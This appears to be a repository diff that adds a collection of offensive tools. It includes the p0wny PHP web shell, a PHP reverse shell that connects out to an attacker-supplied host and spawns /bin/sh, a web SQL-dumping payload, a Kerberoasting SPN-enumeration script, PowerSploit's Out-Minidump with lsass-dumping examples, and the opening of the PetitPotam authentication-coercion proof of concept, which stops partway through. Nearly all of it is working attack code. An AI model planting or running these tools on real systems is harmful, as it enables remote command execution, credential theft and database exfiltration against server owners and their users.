$username = getenv('USERNAME');
if ($username !== false) {
$SHELL_CONFIG['username'] = $username;
}
} else {
$pwuid = posix_getpwuid(posix_geteuid());
if ($pwuid !== false) {
$SHELL_CONFIG['username'] = $pwuid['name'];
}
}
$hostname = gethostname();
if ($hostname !== false) {
$SHELL_CONFIG['hostname'] = $hostname;
}
}
if (isset($_GET["feature"])) {
$response = NULL;
switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
break;
case 'upload':
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
}
header("Content-Type: application/json");
echo json_encode($response);
die();
} else {
initShellConfig();
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
width: 100vw;
height: 100vh;
overflow: hidden;
}
*::-webkit-scrollbar-track {
border-radius: 8px;
background-color: #353535;
}
*::-webkit-scrollbar {
width: 8px;
height: 8px;
}
*::-webkit-scrollbar-thumb {
border-radius: 8px;
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
background-color: #bcbcbc;
}
#shell {
background: #222;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
max-width: calc(100vw - 2 * var(--shell-margin));
max-height: calc(100vh - 2 * var(--shell-margin));
resize: both;
overflow: hidden;
width: 100%;
height: 100%;
margin: var(--shell-margin) auto;
}
#shell-content {
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
:root {
--shell-margin: 25px;
}
@media (min-width: 1200px) {
:root {
--shell-margin: 50px !important;
}
}
@media (max-width: 991px),
(max-height: 600px) {
#shell-logo {
font-size: 6px;
margin: -25px 0;
}
:root {
--shell-margin: 0 !important;
}
#shell {
resize: none;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
@media (max-width: 320px) {
#shell-logo {
font-size: 5px;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
padding: 10px 0;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
box-sizing: border-box;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
</style>
<script>
var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _defer(callback) {
setTimeout(callback, 0);
}
function featureShell(command) {
_insertCommand(command);
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
} else if (/^\s*clear\s*$/.test(command)) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
eShellContent.innerHTML = '';
} else {
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
if (response.hasOwnProperty('file')) {
featureDownload(atob(response.name), response.file)
} else {
_insertStdout(atob(response.stdout));
updateCwd(atob(response.cwd));
}
});
}
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length <= 1) return; // no completion
data.files = data.files.map(function(file){
return atob(file);
});
if (data.files.length === 2) {
if (type === 'cmd') {
eShellCmdInput.value = data.files[0];
} else {
var currentValue = eShellCmdInput.value;
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
}
} else {
_insertCommand(eShellCmdInput.value);
_insertStdout(data.files.join("\n"));
}
}
var currentCmd = eShellCmdInput.value.split(" ");
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
makeRequest(
"?feature=hint",
{
filename: fileName,
cwd: CWD,
type: type
},
_requestCallback
);
}
function featureDownload(name, file) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
element.setAttribute('download', name);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
_insertStdout('Done.');
}
function featureUpload(path) {
var element = document.createElement('input');
element.setAttribute('type', 'file');
element.style.display = 'none';
document.body.appendChild(element);
element.addEventListener('change', function () {
var promise = getBase64(element.files[0]);
promise.then(function (file) {
makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
_insertStdout(atob(response.stdout));
updateCwd(atob(response.cwd));
});
}, function () {
_insertStdout('An unknown client-side error occurred.');
});
});
element.click();
document.body.removeChild(element);
}
function getBase64(file, onLoadCallback) {
return new Promise(function(resolve, reject) {
var reader = new FileReader();
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
reader.onerror = reject;
reader.readAsDataURL(file);
});
}
function genPrompt(cwd) {
cwd = cwd || "~";
var shortCwd = cwd;
if (cwd.split("/").length > 3) {
var splittedCwd = cwd.split("/");
shortCwd = "/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
}
return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest("?feature=pwd", {}, function(response) {
CWD = atob(response.cwd);
_updatePrompt();
});
}
function escapeHtml(string) {
return string
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;");
}
function _updatePrompt() {
var eShellPrompt = document.getElementById("shell-prompt");
eShellPrompt.innerHTML = genPrompt(CWD);
}
function _onShellCmdKeyDown(event) {
switch (event.key) {
case "Enter":
featureShell(eShellCmdInput.value);
insertToHistory(eShellCmdInput.value);
eShellCmdInput.value = "";
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.blur();
eShellCmdInput.value = commandHistory[historyPosition];
_defer(function() {
eShellCmdInput.focus();
});
}
break;
case "ArrowDown":
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = "";
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case 'Tab':
event.preventDefault();
featureHint();
break;
}
}
function insertToHistory(cmd) {
commandHistory.push(cmd);
historyPosition = commandHistory.length;
}
function makeRequest(url, params, callback) {
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
}
}
return a.join("&");
}
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert("Error while parsing response: " + error);
}
}
};
xhr.send(getQueryString());
}
document.onclick = function(event) {
event = event || window.event;
var selection = window.getSelection();
var target = event.target || event.srcElement;
if (target.tagName === "SELECT") {
return;
}
if (!selection.toString()) {
eShellCmdInput.focus();
}
};
window.onload = function() {
eShellCmdInput = document.getElementById("shell-cmd");
eShellContent = document.getElementById("shell-content");
updateCwd();
eShellCmdInput.focus();
};
</script>
</head>
<body>
<div id="shell">
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|_| |___/ \____/ <span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
<div>
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
</div>
</div>
</div>
</body>
</html>

View File

@@ -0,0 +1,189 @@
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["LHOST"];
$port = intval($_GET["LPORT"]);
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = $_GET["SHELL"] ?? 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

91
payloads/web/sql.php Normal file
View File

@@ -0,0 +1,91 @@
<?php
error_reporting(E_ALL);
if (function_exists("mysqli_connect")) {
$db_driver = "mysqli";
} else if (class_exists("PDO")) {
$db_driver = "PDO";
} else {
die("Neither mysqli nor PDO could be found. Exiting.");
}
if (php_sapi_name() === "cli") {
$username = $argv[1];
$password = $argv[2];
$database = $argv[3] ?? null;
$host = $argv[4] ?? "localhost";
$query = $argv[5] ?? "SELECT @@version";
$dump_all = $query === "mysqldump";
} else {
$username = $_REQUEST["username"];
$password = $_REQUEST["password"];
$database = (isset($_REQUEST["database"]) ? $_REQUEST["database"] : null);
$host = (isset($_REQUEST["host"]) ? $_REQUEST["host"] : "localhost");
$query = (isset($_REQUEST["query"]) ? $_REQUEST["query"] : "SELECT @@version");
$dump_all = isset($_REQUEST["dumpAll"]);
}
if ($db_driver === "mysqli") {
$link = mysqli_connect($host, $username, $password, $database);
if (!$link) {
die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")");
}
} else if ($db_driver === "PDO") {
$databaseStr = $database ? ";dbname=$database" : "";
$link = new PDO("mysql:host=$host$databaseStr", $username, $password);
$link->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
}
if ($dump_all) {
$tables = array();
if ($db_driver === "mysqli") {
$res = mysqli_query($link, "SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='$database'");
while ($row = $res->fetch_assoc()) {
$tables[] = $row["TABLE_NAME"];
}
} else if ($db_driver === "PDO") {
$stmt = $link->query("SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='$database'");
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
$tables[] = $row["TABLE_NAME"];
}
}
foreach ($tables as $tableName) {
echo "-- DATA FOR TABLE: tableName\n";
if ($db_driver === "mysqli") {
$res = mysqli_query($link, "SELECT * FROM $tableName");
while ($row = $res->fetch_assoc()) {
print_r($row);
}
} else if ($db_driver === "PDO") {
$stmt = $link->query("SELECT * FROM $tableName");
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
print_r($row);
}
}
echo "-- --------------------------\n\n";
}
} else {
if ($db_driver === "mysqli") {
$res = mysqli_query($link, $query);
if (!$res) {
die("Error executing query: " . mysqli_error($link));
}
while ($row = $res->fetch_assoc()) {
print_r($row);
}
} else if ($db_driver === "PDO") {
$stmt = $link->query($query);
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
print_r($row);
}
}
}
if ($db_driver === "mysqli") {
mysqli_close($link);
}
?>

View File

Binary file not shown.

View File

Binary file not shown.

View File

@@ -0,0 +1,129 @@
# Edits by Tim Medin
# File: GetUserSPNS.ps1
# Contents: Query the domain to find SPNs that use User accounts
# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
# The password hash used with Computer accounts are infeasible to
# crack; however, if the User account associated with an SPN may have
# a crackable password. This tool will find those accounts. You do not
# need any special local or domain permissions to run this script.
# This script on a script supplied by Microsoft (details below).
# History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames
# 2016/04/12 Tim Medin Added -Request option to automatically get the tickets
# 2014/11/12 Tim Medin Created
[CmdletBinding()]
Param(
[Parameter(Mandatory=$False,Position=1)] [string]$GCName,
[Parameter(Mandatory=$False)] [string]$Filter,
[Parameter(Mandatory=$False)] [switch]$Request,
[Parameter(Mandatory=$False)] [switch]$UniqueAccounts
)
Add-Type -AssemblyName System.IdentityModel
$GCs = @()
If ($GCName) {
$GCs += $GCName
} else { # find them
$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
ForEach ($GC in $CurrentGCs) {
#$GCs += $GC.Name
$GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
}
}
if (-not $GCs) {
# no Global Catalogs Found
Write-Host "No Global Catalogs Found!"
Exit
}
<#
Things you can extract
Name Value
---- -----
admincount {1}
samaccountname {sqlengine}
useraccountcontrol {66048}
primarygroupid {513}
userprincipalname {sqlengine@medin.local}
instancetype {4}
displayname {sqlengine}
pwdlastset {130410454241766739}
memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local}
samaccounttype {805306368}
serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local}
usnchanged {135252}
lastlogon {130563243107145358}
accountexpires {9223372036854775807}
logoncount {34}
adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local}
distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local}
badpwdcount {0}
codepage {0}
name {sqlengine}
whenchanged {9/22/2014 6:45:21 AM}
badpasswordtime {0}
dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,...
lastlogontimestamp {130558419213902030}
lastlogoff {0}
objectclass {top, person, organizationalPerson, user}
countrycode {0}
cn {sqlengine}
whencreated {4/4/2014 12:37:04 AM}
objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17...
objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102}
objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local}
usncreated {57551}
#>
ForEach ($GC in $GCs) {
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = "LDAP://" + $GC
$searcher.PageSize = 1000
$searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
$searcher.PropertiesToLoad.Add("name") | Out-Null
$searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
#$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null
#$searcher.PropertiesToLoad.Add("displayname") | Out-Null
$searcher.PropertiesToLoad.Add("memberof") | Out-Null
$searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null
#$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null
$searcher.SearchScope = "Subtree"
$results = $searcher.FindAll()
[System.Collections.ArrayList]$accounts = @()
foreach ($result in $results) {
foreach ($spn in $result.Properties["serviceprincipalname"]) {
$o = Select-Object -InputObject $result -Property `
@{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
@{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, `
#@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
@{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, `
#@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, `
@{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, `
@{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
#@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} }
if ($UniqueAccounts) {
if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
$accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null
$o
if ($Request) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
} else {
$o
if ($Request) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
}
}
}

View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

@@ -0,0 +1,130 @@
function Out-Minidump
{
<#
.SYNOPSIS
Generates a full-memory minidump of a process.
PowerSploit Function: Out-Minidump
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Out-Minidump writes a process dump file with all process memory to disk.
This is similar to running procdump.exe with the '-ma' switch.
.PARAMETER Process
Specifies the process for which a dump will be generated. The process object
is obtained with Get-Process.
.PARAMETER DumpFilePath
Specifies the path where dump files will be written. By default, dump files
are written to the current working directory. Dump file names take following
form: processname_id.dmp
.EXAMPLE
Out-Minidump -Process (Get-Process -Id 4293)
Description
-----------
Generate a minidump for process ID 4293.
.EXAMPLE
Get-Process lsass | Out-Minidump
Description
-----------
Generate a minidump for the lsass process. Note: To dump lsass, you must be
running from an elevated prompt.
.EXAMPLE
Get-Process | Out-Minidump -DumpFilePath C:\temp
Description
-----------
Generate a minidump of all running processes and save them to C:\temp.
.INPUTS
System.Diagnostics.Process
You can pipe a process object to Out-Minidump.
.OUTPUTS
System.IO.FileInfo
.LINK
http://www.exploit-monday.com/
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
[System.Diagnostics.Process]
$Process,
[Parameter(Position = 1)]
[ValidateScript({ Test-Path $_ })]
[String]
$DumpFilePath = $PWD
)
BEGIN
{
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
$MiniDumpWithFullMemory = [UInt32] 2
}
PROCESS
{
$ProcessId = $Process.Id
$ProcessName = $Process.Name
$ProcessHandle = $Process.Handle
$ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
$ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
$FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle,
$ProcessId,
$FileStream.SafeFileHandle,
$MiniDumpWithFullMemory,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero))
$FileStream.Close()
if (-not $Result)
{
$Exception = New-Object ComponentModel.Win32Exception
$ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
# Remove any partially written dump files. For example, a partial dump will be written
# in the case when 32-bit PowerShell tries to dump a 64-bit process.
Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
throw $ExceptionMessage
}
else
{
Get-ChildItem $ProcessDumpPath
}
}
END {}
}

View File

@@ -0,0 +1,461 @@
#!/usr/bin/env python
#
# Author: GILLES Lionel aka topotam (@topotam77)
#
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
# "Most of" the code stolen from dementor.py from @3xocyte ;)
import sys
import argparse
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
show_banner = '''
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
'''
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# STRUCTURES
################################################################################
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EFS_EXIM_PIPE(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
class EFS_HASH_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
structure = (
('Type', DWORD),
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_HASH_BLOB),
('Display', LPWSTR),
)
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_CERTIFICATE_BLOB),
)
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
align = 1
structure = (
('Cert', DWORD),
('Users', ENCRYPTION_CERTIFICATE_HASH),
)
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
structure = (
('Type', DWORD),
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
('Certif', ENCRYPTION_CERTIFICATE),
('Blob', EFS_RPC_BLOB),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
################################################################################
# RPC CALLS
################################################################################
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
('fileName', WSTR),
('Flag', ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
('hContext', EXIMPORT_CONTEXT_HANDLE),
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (
('FileName', WSTR),
)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDecryptFileSrv(NDRCALL):
opnum = 5
structure = (
('FileName', WSTR),
('Flag', ULONG),
)
class EfsRpcDecryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryUsersOnFile(NDRCALL):
opnum = 6
structure = (
('FileName', WSTR),
)
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryRecoveryAgents(NDRCALL):
opnum = 7
structure = (
('FileName', WSTR),
)
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcRemoveUsersFromFile(NDRCALL):
opnum = 8
structure = (
('FileName', WSTR),
('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
)
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFile(NDRCALL):
opnum = 9
structure = (
('FileName', WSTR),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
)
class EfsRpcAddUsersToFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfo(NDRCALL):
opnum = 12
structure = (
('FileName', WSTR),
('infoClass', DWORD),
)
class EfsRpcFileKeyInfoResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
opnum = 13
structure = (
('SrcFileName', WSTR),
('DestFileName', WSTR),
('dwCreationDisposition', DWORD),
('dwAttributes', DWORD),
